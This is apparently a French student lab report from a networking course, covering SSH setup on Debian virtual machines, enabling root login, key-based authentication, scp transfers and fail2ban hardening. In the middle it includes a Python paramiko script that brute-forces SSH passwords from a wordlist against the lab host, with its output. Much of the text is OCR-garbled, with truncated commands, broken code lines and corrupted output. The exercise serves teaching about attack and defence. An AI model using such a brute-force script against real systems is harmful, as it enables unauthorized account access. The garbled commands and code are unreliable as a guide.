On commence a démarrer ces 4 machines :

=] PF-FIREWALL (ok fire wall)
@l = En fonction

E-\ DEEBIAN_TRAINING-SERVEUR
J g En fonction

E-\ DEEBIAN_TRAINING_DMZ
>, g En fonction

Fa-.

On vérifie que le protocole ssh est installe :

“# agpt inst:
list

a jour.,

= A Jjour.

Quelle différence entre ces deux paquets ?

openssh-server permet d’accepter des connexions entrantes et openssh-client permet de
se connecter a d’autres ordinateurs

netstat -antp




On va aller sur la lubuntu training client et se connecter a I'instance de serveur crée
précedemment :

est@client-mlif: 1an id} '-clu.ronf
est@client-mlif: [ w 192.168.200.

Connection to 192.168.200.5 port

Ensuite, on va taper du texte :

est@client-mlif:~$ nc -nv
Connection to 192.168.200.5
ello SIO !

test@clxent mltf $ ssh test@www
m's password:
X www 5.10.0-30-amd64 #1 SMP Debian 5.10.218-1 ( 4-06-01) >_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Apr 2 09:01:19 2025 from 192.168.50.30

Onvafaireip a:

test@wwu_\r
1: 10

rred_1ft forever
UP,LOWER_UP
hrd ffiff:ff: T

Et whomai :

test@www:~S whoami
test

Pour stopper la connexion on va faire exit
On va essayer de se connecter en tant que root :

denied,

On voit que ¢a ne marche pas
On va aller modifier un fichier dans debian training dmz :
/etc/ssh/sshd_config



FermitRootlLog M=t

On modifie la ligne PermitRootLogin

ensuite on fait controle + x et on redémarre le service avec cette commande :
systemctl restart ssh

On tente de réouvre une connexion ssh en root :

test@client-mlif:~5 ssh root@www
root@www's passw
Linux www 5.10.0-3€C 5.10.218-1 (2024-06-01) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in fusr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Apr 2 09:03:09 2025 from 192.168.5

On voit que ¢a marche
On va générer une paire de clé :

avec la commande : ssh-keygen
test@client-mlif:~$ ssh-keygen

Generating public/private rsa key pair.

Enter file in which to save the key (/home/test/.ssh/id rsa):

Enter passphrase (empty for no passphrase):

Enter same passphrase again:

Your identification has been saved in /home/test/.ssh/id_rsa

Your public key has been saved in /home/test/.ssh/id_rsa.pub
oy fingerprint is:
:5/ASBzTqpAzkiZWhhsOBpIYdQVagXAydOsGx1D+IZhXE test@client-mlif

| *@o
|0+0 0.0 ©
|oo o +

C’est généré

On se rend dans le répertoire /home/test/.ssh avec la commande cd :

test@client-mlif:~S cd /home/

-

Puis on fait Is -la




te;t@clienE-mlif:
total 24

09:09

08:41

09:09 id rsa

09:09 id _rsa.pub
09:01 known_hosts
09:01 known hosts.old
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On va déposer la clé publique :

test@client-mlif: $ scp 1d rsa.pub root@www: /root/.ssh/authorized keys
root@www's password:
id rsa.pub

On test une connexion par ssh en root :

test@client-mlif: S ssh root@www
Linux www 5.10.0-30-amd64 #1 SMP Debian 5.10.218-1 ( 4-06-01) x86 64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in fusr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Wed Apr 2 09:06:56 2025 from 192.168.50.30

On voit que il nous demande plus de mot de passe

On va transférer le fichier test :

test@client-mlif:~$5 touch test
-

test@client-mlif:~5 scp test root@www:/root

On vérifie la présence du fichier test sur la dmz :

8.50.30:/homes/test/test? .
ward:

Expliquer pourquoi il a fallu saisir un mot de passe ?

Il a fallu saisir un mot de passe, car la connexion via SCP utilise SSH pour établir une
connexion sécurisée.L'authentification par mot de passe est activée pour vérifier l'identité
de I'utilisateur distant.

Dans cette commande, sur quelle machine se situe le serveur ssh ?

La machine sur lequel se situe le serveur ssh est la lubuntu training client

A quoi correspond le point (.) a la fin de la commande ?



Il indique le répertoire courant !

Stop 1
On va installer le module paramiko :

test@client-mlif:~$ pip3 install p miko
Defaulting to user installation be se normal site-packages is not writeable
Collecting paramiko

Downloading paramiko-3.5.1-py3-none-any.whl (

Collecting pyna
Downloading P

Requirement alre
Collecting bc
Downloading bcr

Collecting cffi
Downloading ¢

Collecting pycp
Downloading p

alling coll
fully inst

On va reproduire le script :

import sys
from paramiko import SSHClient
fd = open(sys.argv[1])
liste pass = fd.readlines()
port = 22
user = "test"
ssh = SSHClient()
ssh.load system host keys()
for pwd in liste pass:
testpass = pwd.rstrip()
print("Tentative de mot de passe :
try:
result = ssh.connect("www",port,
print("MOT DE PASSE TROUVE :", tes
break
except:
print("ECHEC")

On crée le fichier dico

other
root

test
root3

Et on met ¢a dans le dico

On test la commande python3 sshforcebrute.py dico




est@client-mlif:-~5
entative de mot de

mot de

mot de

mot de
VE

On voit que ¢a marche

Stop 2
On va installer les paquets fail2ban

2 [451 KkE]

T-17.
roet 0 non mis a jour.

On va ouvrir le fichier :

letc/fail2ban/jail.conf

On va modifier le maxentry = 3

Et on va redémarrer le fail2ban :




lor preset: enabled)

test@client-mlif: python3
Tentative de mot passe
ECHEC

Tentative mot passe

ECHEC

Tentative mot passe root
ECHEC

Tentative mot passe lal
ECHEC

Tentative mot passe lalkfkjrf
ECHEC

Tentative mot passe fg
ECHEC

Tentative mot passe nrngfr
ECHEC

Tentative mot passe

ECHEC

Tentative mot passe

ECHEC

Tentative mot pass

ECHEC

Tentative mot passe

ECHEC

Tentative mot passe

ECHEC

Tentative mot passe

ECHEC

On voit que méme avec le bon mot de passe test, ca marche pas

On vérifie que quelqu’un a été banni



Froot @ TE failzhan
Status for the jail: =sh
|- Filter

| |- Currently failed:

| |- Total failed:
| - File list:

On voit que la lubuntu est banni

Fouiller dans les fichiers de configuration du serveur afin de modifier la durée de
bannissement par défaut

bantime = 2h

De base il esta 1h

Tester aussi une connexion manuelle durant le bannissement.

test@client-mlif:~$ ssh root@www

-

ssh: connect to host www port 22: Connection refused




